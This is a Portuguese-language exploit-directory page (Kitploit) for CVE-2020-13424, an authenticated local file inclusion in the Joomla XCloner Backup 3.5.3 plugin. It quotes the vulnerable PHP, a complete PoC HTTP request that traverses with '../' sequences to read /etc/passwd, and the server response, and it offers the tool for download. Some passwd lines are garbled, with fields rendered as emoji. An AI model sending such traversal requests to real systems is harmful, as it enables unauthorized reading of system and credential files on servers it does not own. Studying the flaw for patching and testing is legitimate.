Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/mkelepce/cve-2020-13424
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubmkelepce/cve-2020-13424

CVE-2020-13424

Joomla! Plugin XCloner Backup 3.5.3 - Inclusão de Arquivo Local (Autenticado)

Ver Repositório
1há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Título do Exploit: Joomla! Plugin XCloner Backup 3.5.3 - Inclusão de Arquivo Local (Autenticado)
Data: 2020-05-10
Autor do Exploit: Mehmet Kelepçe / Gais Cyber Security
ID do Autor no Exploit-Db: 8763
Referência: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/
Página do Fornecedor: http://www.xcloner.com
Link do Software: https://www.xcloner.com/support/download/
Versão: 3.5.3
Testado em: Kali Linux - Apache2

Detalhe:

Arquivo: administrator/components/com_xcloner-backupandstore/admin.cloner.php
-
case 'download':
downloadBackup($_REQUEST['file']);
break;
-

Arquivo da função downloadBackup -> administrator/components/com_xcloner-backupandstore/cloner.functions.php
Parâmetro vulnerável: file

Definição da função downloadBackup
-
function downloadBackup($file)
{
global $_CONFIG;

$file = realpath($_CONFIG['clonerPath'] . "/$file");
//First, see if the file exists
if (!is_file($file)) {
die("404 File $file was not found!");
}

//File Info
$len = get_filesize($file);
$filename = basename($file);
$file_extension = strtolower(substr(strrchr($filename, "."), 1));

//Setam Content-Type-urile pentru fisierul in cauza
switch ($file_extension) {
default:
$ctype = "application/force-download";
}

smartReadFile($file, $filename);

exit;
}
-
e definição da função smartReadFile
-
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
{ header ("HTTP/1.0 404 Not Found");
return;
}

$size=filesize($location);
$time=date('r',filemtime($location)); $fm=@fopen($location,'r'); . . . - PoC: Requisição: - GET /joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=download&file=../../../../../../../../etc/passwd HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Connection: close Cookie: COOKIES Upgrade-Insecure-Requests: 1 - Resposta: - HTTP/1.0 200 OK Date: Sun, 10 May 2020 18:12:04 GMT Server: Apache/2.4.41 (Debian) Cache-Control: public, must-revalidate, max-age=0 Pragma: no-cache Accept-Ranges: bytes Content-Length: 3347 Content-Range: bytes 0-3347/3347 Content-Disposition: inline; filename=passwd Content-Transfer-Encoding: binary Last-Modified: Sun, 22 Mar 2020 05:41:35 -0700 Connection: close Content-Type: application/octet-stream root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync . .














/



http://localhost/joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=view




























Baixar ferramenta